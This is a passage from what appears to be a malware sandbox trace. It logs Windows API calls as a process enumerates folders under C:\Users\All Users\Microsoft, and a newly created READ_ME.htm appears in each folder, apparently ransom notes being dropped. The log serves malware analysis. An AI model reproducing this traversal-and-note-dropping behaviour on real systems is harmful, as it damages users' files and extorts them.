hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0140.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0140.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fafbf40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fc52ba0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x4fb48200, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb48200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0140.283] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb6e360, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb6e360, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0140.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb944c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb944c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0140.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa9fd6a20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xa9fd6a20, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0140.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0140.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0140.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fbba620, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fbba620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0140.284] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fbba620, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fbba620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0140.284] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.285] SetErrorMode (uMode=0x0) returned 0x1 [0140.285] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x27 [0140.285] SetErrorMode (uMode=0x1) returned 0x0 [0140.285] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.285] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0140.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0f2ea0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.286] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0f2ea0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.286] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.286] SetErrorMode (uMode=0x0) returned 0x1 [0140.286] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x27 [0140.287] SetErrorMode (uMode=0x1) returned 0x0 [0140.287] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.287] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.287] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0140.287] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0f2ea0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.287] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0f2ea0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0f2ea0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.288] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.288] SetErrorMode (uMode=0x0) returned 0x1 [0140.288] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2e [0140.288] SetErrorMode (uMode=0x1) returned 0x0 [0140.288] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0140.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.289] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.289] SetErrorMode (uMode=0x0) returned 0x1 [0140.290] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2e [0140.290] SetErrorMode (uMode=0x1) returned 0x0 [0140.290] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.290] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.290] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0140.290] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.290] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0f2ea0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.291] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.291] SetErrorMode (uMode=0x0) returned 0x1 [0140.291] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x32 [0140.291] SetErrorMode (uMode=0x1) returned 0x0 [0140.291] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0140.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.292] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e0ccd40, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e0ccd40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e0ccd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.292] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.292] SetErrorMode (uMode=0x0) returned 0x1 [0140.292] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All 